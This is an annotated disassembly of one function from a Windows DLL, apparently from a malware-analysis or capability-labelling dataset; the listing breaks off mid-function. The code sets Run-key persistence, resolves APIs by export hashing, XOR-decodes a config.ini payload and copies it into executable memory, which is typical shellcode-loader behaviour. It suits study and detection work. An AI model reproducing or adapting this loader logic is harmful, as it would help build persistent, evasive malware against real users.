Function at 0x100058b0
Capabilities:
Check mutex on windows
Encode data using xor
Persist via run registry key
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x3b0
mov esi, esp
mov dword [esi + 0x398], ebp
mov dword [esi + 0x39c], esp
mov dword [esi + 0x3a8], 0xffffffff
lea eax, [esi + 0x3a0]
mov dword [esi + 0x3a4], fcn.1000a0b0
mov ecx, dword fs:[0]
mov dword [esi + 0x3a0], ecx
mov dword fs:[0], eax
push 0x1003105c
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x1003b408], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10006e6d
lea ebx, [esi + 0x190]
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movaps xmmword [esi + 0x30], xmm0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
push ebx
call fcn.1001602c
add esp, 4
cmp eax, 0x7fffffff
jae 0x10006e7b
mov edi, eax
cmp eax, 7
ja 0x1000598b
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], 7
mov eax, edi
add eax, edi
lea ecx, [esi + 0x30]
push eax
push ebx
push ecx
call fcn.1000a1f0
add esp, 0xc
mov word [esi + edi*2 + 0x30], 0
jmp 0x10005a0c
mov eax, edi
or eax, 7
cmp eax, 0x7ffffffe
ja 0x10006ecf
cmp eax, 0xb
mov ecx, 0xa
cmovae ecx, eax
lea eax, [ecx + ecx]
cmp ecx, 0x7ff
mov dword [esi + 0xc], ecx
jb 0x100059d7
cmp ecx, 0x7fffffee
jae 0x10006ecf
add eax, 0x25
push eax
call fcn.1000b698
add esp, 4
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x100059e5
add eax, 2
push eax
call fcn.1000b698
add esp, 4
mov ebx, eax
mov dword [esi + 0x30], ebx
mov dword [esi + 0x40], edi
mov eax, dword [esi + 0xc]
mov dword [esi + 0x44], eax
mov eax, edi
add eax, edi
push eax
lea eax, [esi + 0x190]
push eax
push ebx
call fcn.1000a1f0
add esp, 0xc
mov word [ebx + edi*2], 0
mov eax, dword [esi + 0x40]
mov edi, dword [esi + 0x44]
cmp edi, 8
jb 0x10005a1c
mov ecx, dword [esi + 0x30]
jmp 0x10005a1f
lea ecx, [esi + 0x30]
mov dword [esi + 0xc], ecx
mov ebx, 0xffffffff
test eax, eax
je 0x10005ad8
xorps xmm0, xmm0
movaps xmmword [esi + 0xc0], xmm0
movaps xmmword [esi + 0x160], xmm0
movaps xmmword [esi + 0x150], xmm0
movaps xmmword [esi + 0x140], xmm0
movaps xmmword [esi + 0x130], xmm0
movaps xmmword [esi + 0x120], xmm0
movaps xmmword [esi + 0x110], xmm0
movaps xmmword [esi + 0x100], xmm0
movaps xmmword [esi + 0xf0], xmm0
movaps xmmword [esi + 0xe0], xmm0
movaps xmmword [esi + 0xd0], xmm0
movaps xmmword [esi + 0xb0], xmm0
movaps xmmword [esi + 0xa0], xmm0
movaps xmmword [esi + 0x90], xmm0
movaps xmmword [esi + 0x80], xmm0
movaps xmmword [esi + 0x70], xmm0
mov byte [esi + 0xcc], 1
lea ebx, [eax*2 - 2]
nop dword [eax]
mov edx, dword [esi + 0xc]
movzx edx, word [edx + ebx]
cmp edx, 0xff
ja 0x10005ac6
cmp byte [esi + edx + 0x70], 0
jne 0x10005ad6
test ebx, ebx
je 0x10005acf
add ebx, 0xfffffffe
jmp 0x10005ab0
mov ebx, 0xffffffff
jmp 0x10005ad8
sar ebx, 1
xorps xmm0, xmm0
movaps xmmword [esi + 0x170], xmm0
mov dword [esi + 0x184], 0
mov dword [esi + 0x180], 0
cmp eax, ebx
cmovb ebx, eax
cmp ebx, 0x7fffffff
jae 0x10006e80
cmp ebx, 7
ja 0x10005b41
mov dword [esi + 0x180], ebx
mov dword [esi + 0x184], 7
lea eax, [ebx + ebx]
lea ecx, [esi + 0x170]
push eax
push dword [esi + 0xc]
push ecx
call fcn.1000a1f0
add esp, 0xc
mov word [esi + ebx*2 + 0x170], 0
jmp 0x10005be5
mov eax, ebx
or eax, 7
cmp eax, 0x7ffffffe
ja 0x10006ed4
cmp eax, 0xb
mov edx, 0xa
cmovae edx, eax
lea eax, [edx + edx]
cmp edx, 0x7ff
mov dword [esi + 0x10], ebx
mov dword [esi + 0x18], edx
jb 0x10005b9c
mov dword [esi + 0x3a8], 0
cmp edx, 0x7fffffee
jae 0x10006ed4
add eax, 0x25
push eax
call fcn.1000b698
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10005bb4
add eax, 2
mov dword [esi + 0x3a8], 0
push eax
call fcn.1000b698
add esp, 4
mov edi, eax
mov dword [esi + 0x170], edi
mov ebx, dword [esi + 0x10]
mov dword [esi + 0x180], ebx
mov eax, dword [esi + 0x18]
mov dword [esi + 0x184], eax
lea eax, [ebx + ebx]
push eax
push dword [esi + 0xc]
push edi
call fcn.1000a1f0
add esp, 0xc
mov word [edi + ebx*2], 0
mov edi, dword [esi + 0x44]
lea ebx, [esi + 0x190]
cmp edi, 8
jb 0x10005c26
mov eax, dword [esi + 0x30]
lea edx, [edi*2 + 2]
cmp edx, 0x1000
jb 0x10005c1c
mov ecx, dword [eax - 4]
add eax, 0xfffffffc
sub eax, ecx
cmp eax, 0x20
jae 0x10006ea3
add edi, edi
add edi, 0x25
mov edx, edi
mov eax, ecx
push edx
push eax
call fcn.1000b6cd
add esp, 8
cmp dword [esi + 0x184], 8
jb 0x10005c37
mov eax, dword [esi + 0x170]
jmp 0x10005c3d
lea eax, [esi + 0x170]
push eax
call fcn.10013f04
sub esp, 0x20
lea eax, [esi + 0x70]
mov dword [esp + 0x1c], eax
movaps xmm0, xmmword [0x10030040]
movups xmmword [esp + 8], xmm0
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10005cbd
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call fcn.1001602c
add esp, 4
lea eax, [eax*2 + 2]
push eax
push ebx
push 1
push 0
push str.capture
push dword [esi + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esi + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [0x1003b40c]
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
mov ecx, dword [ebx + eax + 0x1c]
mov dword [esi + 0x14], ecx
mov ecx, dword [ebx + eax + 0x24]
mov dword [esi + 0x20], ecx
mov eax, dword [ebx + eax + 0x20]
add eax, ebx
mov dword [esi + 0x2c], eax
lea eax, [ebx + 3]
mov dword [esi + 0x28], eax
xor edi, edi
mov dword [esi + 0x24], ebx
jmp 0x10005d09
cmp edx, 0x7b66be11
lea ecx, [esi + 0x190]
mov edi, dword [esi + 0x10]
mov ebx, dword [esi + 0x24]
je 0x10005dc3
inc edi
mov eax, dword [esi + 0x2c]
mov eax, dword [eax + edi*4]
mov dword [esi + 0xc], eax
add eax, ebx
push eax
call fcn.10015820
add esp, 4
test eax, eax
je 0x10005d08
mov dword [esi + 0x10], edi
cmp eax, 4
mov dword [esi + 0x18], eax
jae 0x10005d40
mov edx, 0x99
xor ecx, ecx
jmp 0x10005d8e
and eax, 0xfffffffc
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0xc]
lea edi, [ecx + edx]
mov edx, 0x99
xor ecx, ecx
nop word cs:[eax + eax]
movsx ebx, byte [edi + ecx - 3]
lea edx, [edx + edx*2]
add edx, ebx
movsx ebx, byte [edi + ecx - 2]
lea edx, [edx + edx*2]
add edx, ebx
movsx ebx, byte [edi + ecx - 1]
lea edx, [edx + edx*2]
add edx, ebx
movsx ebx, byte [edi + ecx]
lea edx, [edx + edx*2]
add edx, ebx
add ecx, 4
cmp eax, ecx
jne 0x10005d60
mov ebx, dword [esi + 0x18]
and ebx, 3
je 0x10005cf0
add ecx, dword [esi + 0xc]
add ecx, dword [esi + 0x24]
xor eax, eax
nop word cs:[eax + eax]
movsx edi, byte [ecx + eax]
lea edx, [edx + edx*2]
add edx, edi
inc eax
cmp ebx, eax
jne 0x10005db0
jmp 0x10005cf0
mov edx, dword [esi + 0x14]
add edx, ebx
mov eax, dword [esi + 0x20]
add eax, ebx
movzx eax, word [eax + edi*2]
add ebx, dword [edx + eax*4]
mov dword [esi + 0x3a8], 6
push 0x104
push ecx
push 0
call ebx
xorps xmm0, xmm0
movaps xmmword [esi + 0x30], xmm0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
lea ebx, [esi + 0x190]
push ebx
call fcn.10015820
add esp, 4
test eax, eax
js 0x10006e8f
mov edi, eax
cmp eax, 0xf
ja 0x10005e3a
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], 0xf
lea eax, [esi + 0x30]
push edi
push ebx
push eax
call fcn.1000a1f0
add esp, 0xc
mov byte [esi + edi + 0x30], 0
jmp 0x10005eae
mov dword [esi + 0x44], 0xf
mov dword [esi + 0xc], edi
or edi, 0xf
cmp edi, 0x17
mov ecx, 0x16
cmovae ecx, edi
cmp ecx, 0xfff
mov dword [esi + 0x10], ecx
jb 0x10005e7c
lea eax, [ecx + 0x24]
push eax
call fcn.1000b698
add esp, 4
lea ecx, [esi + 0x190]
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10005e90
lea eax, [ecx + 1]
push eax
call fcn.1000b698
add esp, 4
mov edi, eax
lea ecx, [esi + 0x190]
mov dword [esi + 0x30], edi
mov ebx, dword [esi + 0xc]
mov dword [esi + 0x40], ebx
mov eax, dword [esi + 0x10]
mov dword [esi + 0x44], eax
push ebx
push ecx
push edi
call fcn.1000a1f0
add esp, 0xc
mov byte [edi + ebx], 0
mov eax, dword [esi + 0x40]
mov edi, dword [esi + 0x44]
cmp edi, 0x10
jb 0x10005ebe
mov ebx, dword [esi + 0x30]
jmp 0x10005ec1
lea ebx, [esi + 0x30]
mov ecx, 0xffffffff
test eax, eax
je 0x10005f7b
xorps xmm0, xmm0
movaps xmmword [esi + 0xc0], xmm0
movaps xmmword [esi + 0x160], xmm0
movaps xmmword [esi + 0x150], xmm0
movaps xmmword [esi + 0x140], xmm0
movaps xmmword [esi + 0x130], xmm0
movaps xmmword [esi + 0x120], xmm0
movaps xmmword [esi + 0x110], xmm0
movaps xmmword [esi + 0x100], xmm0
movaps xmmword [esi + 0xf0], xmm0
movaps xmmword [esi + 0xe0], xmm0
movaps xmmword [esi + 0xd0], xmm0
movaps xmmword [esi + 0xb0], xmm0
movaps xmmword [esi + 0xa0], xmm0
movaps xmmword [esi + 0x90], xmm0
movaps xmmword [esi + 0x80], xmm0
movaps xmmword [esi + 0x70], xmm0
mov byte [esi + 0xcc], 1
movzx ecx, byte [ebx + eax - 1]
cmp byte [esi + ecx + 0x70], 0
je 0x10005f59
lea ecx, [ebx + eax]
dec ecx
sub ecx, ebx
jmp 0x10005f7b
mov ecx, eax
dec ecx
je 0x10005f76
mov ecx, eax
movzx edx, byte [ebx + ecx - 2]
cmp byte [esi + edx + 0x70], 0
jne 0x10006bbe
dec ecx
cmp ecx, 1
jne 0x10005f60
mov ecx, 0xffffffff
inc ecx
xorps xmm0, xmm0
movaps xmmword [esi + 0x70], xmm0
mov dword [esi + 0x84], 0
mov dword [esi + 0x80], 0
cmp eax, ecx
cmovb ecx, eax
test ecx, ecx
js 0x10006e94
cmp ecx, 0xf
ja 0x10005fdc
mov dword [esi + 0x80], ecx
mov dword [esi + 0x84], 0xf
push ecx
push ebx
lea eax, [esi + 0x70]
push eax
mov ebx, ecx
call fcn.1000a1f0
add esp, 0xc
mov byte [esi + ebx + 0x70], 0
cmp edi, 0x10
jae 0x1000605c
jmp 0x10006096
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ecx
mov eax, ecx
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
mov dword [esi + 0x3a8], 7
cmp ecx, 0xfff
mov dword [esi + 0x18], ecx
jb 0x10006020
lea eax, [ecx + 0x24]
push eax
call fcn.1000b698
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x1000602e
lea eax, [ecx + 1]
push eax
call fcn.1000b698
add esp, 4
mov edi, eax
mov dword [esi + 0x70], edi
mov ebx, dword [esi + 0x10]
mov dword [esi + 0x80], ebx
mov eax, dword [esi + 0x18]
mov dword [esi + 0x84], eax
push ebx
push dword [esi + 0xc]
push edi
call fcn.1000a1f0
add esp, 0xc
mov byte [edi + ebx], 0
mov edi, dword [esi + 0x44]
cmp edi, 0x10
jb 0x10006096
mov eax, dword [esi + 0x30]
lea edx, [edi + 1]
cmp edx, 0x1000
jb 0x10006082
mov ecx, dword [eax - 4]
add eax, 0xfffffffc
sub eax, ecx
cmp eax, 0x20
jae 0x10006ea3
add edi, 0x24
mov edx, edi
mov eax, ecx
push edx
push eax
call fcn.1000b6cd
add esp, 8
mov dword [esi + 0x3a8], 7
movsd xmm0, qword [esi + 0x80]
movsd qword [esi + 0x40], xmm0
movaps xmm0, xmmword [esi + 0x70]
movaps xmmword [esi + 0x30], xmm0
mov dword [esi + 0x3a8], 7
lea ecx, [esi + 0x30]
push 0xa
push str.config.ini
call fcn.10007260
mov dword [esi + 0x70], 0x100300bc
mov dword [esi + 0x118], 0
mov dword [esi + 0x11c], 0
mov byte [esi + 0x120], 0
mov dword [esi + 0xe0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [esi + 0xdc], 0x58
mov dword [esi + 0x7c], 0
mov dword [esi + 0x78], 0
mov dword [esi + 0x110], 0
mov dword [esi + 0xfc], 0
mov dword [esi + 0xf8], 6
movaps xmm0, xmmword [0x10030050]
movups xmmword [esi + 0xe8], xmm0
xorps xmm0, xmm0
movups xmmword [esi + 0x100], xmm0
mov dword [esi + 0x3a8], 0x10
push 8
call fcn.1000b698
add esp, 4
mov dword [esi + 0xc], eax
mov dword [esi + 0x3a8], 1
push 1
call fcn.1000b018
add esp, 4
lea ecx, [esi + 0x80]
mov edx, dword [esi + 0xc]
mov dword [edx + 4], eax
mov dword [esi + 0x110], edx
mov dword [esi + 0x118], ecx
mov dword [esi + 0x11c], 0
mov dword [esi + 0x54], eax
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 4]
mov dword [esi + 0x3a8], 0x11
lea eax, [esi + 0x50]
push eax
call fcn.100073f0
add esp, 4
mov edx, dword [eax]
mov ecx, eax
push 0x20
call dword [edx + 0x20]
mov ebx, eax
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x100061ce
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x100061ce
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov byte [esi + 0x120], bl
cmp dword [esi + 0x118], 0
jne 0x100061fd
mov ecx, dword [esi + 0xec]
mov eax, dword [esi + 0xf0]
and ecx, 0x13
or ecx, 4
mov dword [esi + 0xec], ecx
and ecx, eax
jne 0x10006f2f
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x70], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [eax - 0x70]
mov dword [esi + eax + 0x6c], ecx
mov dword [esi + 0x80], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
xorps xmm0, xmm0
lea eax, [esi + 0x80]
movups xmmword [eax + 0x24], xmm0
movups xmmword [eax + 0x14], xmm0
movups xmmword [eax + 4], xmm0
mov dword [esi + 0x3a8], 0x10
push 8
call fcn.1000b698
add esp, 4
mov dword [esi + 0xc], eax
mov dword [esi + 0x3a8], 2
push 1
call fcn.1000b018
add esp, 4
lea ecx, [esi + 0x80]
lea edx, [ecx + 4]
lea edi, [ecx + 0x18]
mov ebx, dword [esi + 0xc]
mov dword [ebx + 4], eax
lea eax, [ecx + 0x14]
mov dword [esi + 0xb4], ebx
lea ebx, [ecx + 8]
mov dword [esi + 0x80], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0xc8], 0
mov byte [esi + 0xbd], 0
mov dword [esi + 0xc], edx
mov dword [esi + 0x8c], edx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x90], ebx
mov dword [esi + 0x18], eax
mov dword [esi + 0x9c], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0xa0], edi
lea eax, [ecx + 0x24]
mov dword [esi + 0x28], eax
mov dword [esi + 0xac], eax
lea eax, [ecx + 0x28]
mov dword [esi + 0x2c], eax
mov dword [esi + 0xb0], eax
mov dword [esi + 0x88], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0xcc], 0
mov dword [esi + 0xb8], 0
mov dword [esi + 0xc4], 0
mov dword [esi + 0xc0], 0
cmp dword [esi + 0x44], 0x10
lea eax, [esi + 0x30]
jb 0x10006344
mov eax, dword [esi + 0x30]
mov dword [esi + 0x3a8], 8
push 0x40
push 0x23
push eax
call fcn.1000b138
add esp, 0xc
mov edi, eax
test eax, eax
je 0x1000657f
mov byte [esi + 0xc8], 1
mov byte [esi + 0xbd], 0
mov eax, dword [esi + 0xc]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x24]
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x18]
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x10]
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0x28]
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0x2c]
mov dword [esi + 0xb0], eax
mov dword [esi + 0x88], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0x50], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x68], 0
lea eax, [esi + 0x68]
lea ecx, [esi + 0x48]
push eax
push ecx
lea ebx, [esi + 0x50]
push ebx
push edi
call fcn.100135db
add esp, 0x10
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x48]
mov edx, dword [esi + 0x50]
mov dword [esi + 0x8c], edx
mov dword [esi + 0x90], edx
mov dword [esi + 0x9c], ecx
mov dword [esi + 0xa0], ecx
mov dword [esi + 0xac], eax
mov dword [esi + 0xb0], eax
mov dword [esi + 0xcc], edi
mov dword [esi + 0xb8], 0
mov dword [esi + 0xc4], 0
mov dword [esi + 0xc0], 0
mov eax, dword [esi + 0xb4]
mov ecx, dword [eax + 4]
mov dword [esi + 0x54], ecx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [esi + 0x3a8], 0xf
push ebx
call fcn.100077e0
add esp, 4
mov edi, eax
mov eax, dword [eax]
mov ecx, edi
call dword [eax + 0xc]
xor ecx, ecx
test al, al
jne 0x10006507
mov eax, dword [esi + 0xc]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x24]
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x18]
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x10]
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0x28]
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0x2c]
mov dword [esi + 0xb0], eax
mov dword [esi + 0x88], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0xa4], 0
mov ecx, edi
mov dword [esi + 0xb8], ecx
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x10006525
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x10006525
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
xor ecx, ecx
cmp dword [esi + eax + 0xa8], 0
sete cl
shl ecx, 2
mov dword [esi + eax + 0x7c], ecx
test dword [esi + eax + 0x80], ecx
je 0x100065b4
push 1
lea edi, [esi + 0x48]
push edi
call fcn.100075c0
add esp, 8
mov dword [esi + 0x3a8], 8
lea ecx, [esi + 0x50]
push edi
push str.ios_base::badbit_set
call fcn.10007630
push 0x100367d8
lea eax, [esi + 0x50]
push eax
call fcn.1000c995
add esp, 8
mov eax, dword [esi + 0x70]
mov ecx, dword [eax + 4]
xor ebx, ebx
cmp dword [esi + ecx + 0xa8], 0
sete bl
shl ebx, 2
mov eax, dword [esi + ecx + 0x7c]
mov edx, dword [esi + ecx + 0x80]
and eax, 0x15
or eax, ebx
or eax, 2
mov dword [esi + ecx + 0x7c], eax
and eax, edx
jne 0x10006f7c
cmp dword [esi + 0xcc], 0
je 0x10006ea8
mov dword [esi + 0x3a8], 8
lea ecx, [esi + 0x70]
mov edx, 2
call fcn.100079a0
lea ecx, [esi + 0x48]
lea edx, [esi + 0x70]
call fcn.10007bb0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
test byte [esi + eax + 0x7c], 6
je 0x10006607
mov dword [esi + 0x54], 0xffffffff
mov dword [esi + 0x50], 0xffffffff
xorps xmm0, xmm0
movups xmmword [esi + 0x58], xmm0
jmp 0x10006634
mov ecx, dword [esi + eax + 0xa8]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
mov dword [esi + 0x3a8], 0xd
sub esp, 0x14
movaps xmm0, xmmword [0x10030060]
movups xmmword [esp + 4], xmm0
lea edx, [esi + 0x50]
mov dword [esp], edx
call eax
mov eax, dword [esi + 0x48]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov ecx, dword [eax + ecx + 0x38]
test ecx, ecx
je 0x10006655
mov eax, dword [ecx]
mov eax, dword [eax + 8]
mov dword [esi + 0x3a8], 3
call eax
mov eax, dword [esi + 0x58]
add eax, dword [esi + 0x50]
mov dword [esi + 0x14], eax
mov dword [esi + 0x3a8], 8
lea ecx, [esi + 0x70]
xor edx, edx
call fcn.100079a0
push dword [esi + 0x14]
call fcn.1000b6fe
add esp, 4
mov dword [esi + 0x1c], eax
cmp dword [esi + 0xcc], 0
je 0x1000674b
mov dword [esi + 0x7c], 0
mov dword [esi + 0x78], 0
lea ecx, [esi + 0x68]
lea edx, [esi + 0x70]
call fcn.10007bb0
xor edi, edi
cmp byte [esi + 0x6c], 0
je 0x100066f8
mov edx, dword [esi + 0x14]
test edx, edx
jle 0x100066f8
mov edi, edx
sar edi, 0x1f
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
mov ecx, dword [esi + eax + 0xa8]
mov eax, dword [ecx]
mov eax, dword [eax + 0x20]
mov dword [esi + 0x3a8], 0xa
mov dword [esi + 0xc], edi
push edi
push edx
push dword [esi + 0x1c]
call eax
mov dword [esi + 0x78], eax
mov dword [esi + 0x7c], edx
xor eax, dword [esi + 0x14]
mov edi, dword [esi + 0xc]
xor edi, edx
xor ecx, ecx
or edi, eax
setne cl
lea edi, [ecx + ecx*2]
mov eax, dword [esi + 0x70]
mov ecx, dword [eax + 4]
mov eax, dword [esi + ecx + 0x7c]
xor edx, edx
cmp dword [esi + ecx + 0xa8], 0
sete dl
shl edx, 2
and eax, 0x17
or eax, edi
or eax, edx
mov dword [esi + ecx + 0x7c], eax
and eax, dword [esi + ecx + 0x80]
jne 0x10006ee3
mov eax, dword [esi + 0x68]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov ecx, dword [eax + ecx + 0x38]
test ecx, ecx
je 0x1000674b
mov eax, dword [ecx]
mov eax, dword [eax + 8]
mov dword [esi + 0x3a8], 4
call eax
mov edx, dword [esi + 0x14]
test edx, edx
mov edi, dword [esi + 0x1c]
je 0x10006847
lea ecx, [edx - 0x21]
xor eax, eax
cmp ecx, 0xffffffe7
jb 0x100067f7
xor eax, eax
cmp edx, 0x20
jb 0x100067bc
mov eax, edx
and eax, 0xffffffe0
xor ecx, ecx
movaps xmm0, xmmword [str.jcjx1wIA9LMnjPnkEhEvSlTet0RAswrTjcjx1wIA9LMnjPnkEhEvSlTet0RAswrT]
movaps xmm1, xmmword [0x10030080]
nop word cs:[eax + eax]
movups xmm2, xmmword [edi + ecx]
xorps xmm2, xmm0
movups xmm3, xmmword [edi + ecx + 0x10]
xorps xmm3, xmm1
movups xmmword [edi + ecx], xmm2
movups xmmword [edi + ecx + 0x10], xmm3
add ecx, 0x20
cmp eax, ecx
jne 0x10006790
cmp eax, edx
je 0x10006847
test dl, 0x18
je 0x100067f7
mov ecx, eax
mov eax, edx
and eax, 0xfffffff8
nop word cs:[eax + eax]
mov edx, ecx
and edx, 0x18
movsd xmm0, qword [edx + 0x10030090]
movsd xmm1, qword [edi + ecx]
xorps xmm1, xmm0
movlps qword [edi + ecx], xmm1
add ecx, 8
cmp eax, ecx
jne 0x100067d0
mov edx, dword [esi + 0x14]
cmp eax, edx
je 0x10006847
mov ecx, eax
not ecx
test dl, 1
je 0x10006818
mov edx, eax
and edx, 0x18
movzx edx, byte [edx + 0x10030090]
mov edi, dword [esi + 0x1c]
xor byte [edi + eax], dl
mov edx, dword [esi + 0x14]
or eax, 1
add ecx, edx
mov edi, dword [esi + 0x1c]
je 0x10006847
nop
mov ecx, eax
and ecx, 0x1f
movzx ecx, byte [ecx + 0x10030090]
xor byte [edi + eax], cl
lea ecx, [eax + 1]
and ecx, 0x1f
movzx ecx, byte [ecx + 0x10030090]
xor byte [edi + eax + 1], cl
add eax, 2
cmp edx, eax
jne 0x10006820
mov ebx, dword [0x1003b40c]
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
mov ecx, dword [ebx + eax + 0x1c]
mov dword [esi + 0x20], ecx
mov ecx, dword [ebx + eax + 0x24]
mov dword [esi + 0x18c], ecx
mov eax, dword [ebx + eax + 0x20]
add eax, ebx
mov dword [esi + 0x2c], eax
lea eax, [ebx + 3]
mov dword [esi + 0x28], eax
xor edi, edi
mov dword [esi + 0x24], ebx
jmp 0x10006893
cmp edx, 0x653266b
mov edi, dword [esi + 0x10]
mov ebx, dword [esi + 0x24]
je 0x10006943
inc edi
mov eax, dword [esi + 0x2c]
mov eax, dword [eax + edi*4]
mov dword [esi + 0xc], eax
add eax, ebx
push eax
call fcn.10015820
add esp, 4
test eax, eax
je 0x10006892
mov dword [esi + 0x10], edi
cmp eax, 4
mov dword [esi + 0x18], eax
jae 0x100068c0
mov edx, 0x99
xor ecx, ecx
jmp 0x1000690e
and eax, 0xfffffffc
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0xc]
lea edi, [ecx + edx]
mov edx, 0x99
xor ecx, ecx
nop word cs:[eax + eax]
movsx ebx, byte [edi + ecx - 3]
lea edx, [edx + edx*2]
add edx, ebx
movsx ebx, byte [edi + ecx - 2]
lea edx, [edx + edx*2]
add edx, ebx
movsx ebx, byte [edi + ecx - 1]
lea edx, [edx + edx*2]
add edx, ebx
movsx ebx, byte [edi + ecx]
lea edx, [edx + edx*2]
add edx, ebx
add ecx, 4
cmp eax, ecx
jne 0x100068e0
mov ebx, dword [esi + 0x18]
and ebx, 3
je 0x10006880
add ecx, dword [esi + 0xc]
add ecx, dword [esi + 0x24]
xor eax, eax
nop word cs:[eax + eax]
movsx edi, byte [ecx + eax]
lea edx, [edx + edx*2]
add edx, edi
inc eax
cmp ebx, eax
jne 0x10006930
jmp 0x10006880
mov ecx, dword [esi + 0x20]
add ecx, ebx
mov eax, dword [esi + 0x18c]
add eax, ebx
movzx eax, word [eax + edi*2]
add ebx, dword [ecx + eax*4]
mov dword [esi + 0x3a8], 8
push 0x40
push 0x3000
push dword [esi + 0x14]
push 0
call ebx
mov dword [esi + 0x20], eax
sub eax, dword [esi + 0x1c]
jae 0x100069e6
mov ebx, dword [esi + 0x14]
test ebx, ebx
je 0x10006c6d
cmp ebx, 8
jb 0x10006ae5
cmp eax, 0x10
jb 0x10006ae5
xor edi, edi
cmp ebx, 0x10
mov ecx, dword [esi + 0x1c]
jae 0x10006b82
mov edx, ebx
and ebx, 0xfffffff8
mov eax, ecx
add eax, ebx
mov ecx, dword [esi + 0x20]
mov dword [esi + 0xc], ebx
add ecx, ebx
and edx, 7
mov dword [esi + 0x10], edx
mov edx, dword [esi + 0x1c]
mov ebx, dword [esi + 0x20]
nop
movsd xmm0, qword [edx + edi]
movsd qword [ebx + edi], xmm0
add edi, 8
cmp dword [esi + 0xc], edi
jne 0x100069c0
mov edx, dword [esi + 0xc]
cmp edx, dword [esi + 0x14]
mov ebx, dword [esi + 0x10]
jne 0x10006aeb
jmp 0x10006c6d
mov ebx, dword [esi + 0x14]
test ebx, ebx
je 0x10006c6d
mov edi, dword [esi + 0x20]
lea eax, [edi + ebx]
dec eax
mov edx, dword [esi + 0x1c]
lea ecx, [edx + ebx]
dec ecx
cmp ebx, 4
jb 0x10006bd9
add edx, ebx
add edi, ebx
sub edx, edi
cmp edx, 0x10
jb 0x10006bd9
xor edi, edi
cmp ebx, 0x10
mov edx, ebx
jb 0x10006a7a
mov edi, edx
and edi, 0xfffffff0
mov ebx, dword [esi + 0x1c]
add ebx, edx
add ebx, 0xfffffff0
mov dword [esi + 0xc], ebx
mov ebx, dword [esi + 0x20]
add edx, ebx
add edx, 0xfffffff0
mov dword [esi + 0x10], edx
mov edx, edi
neg edx
mov dword [esi + 0x18], edx
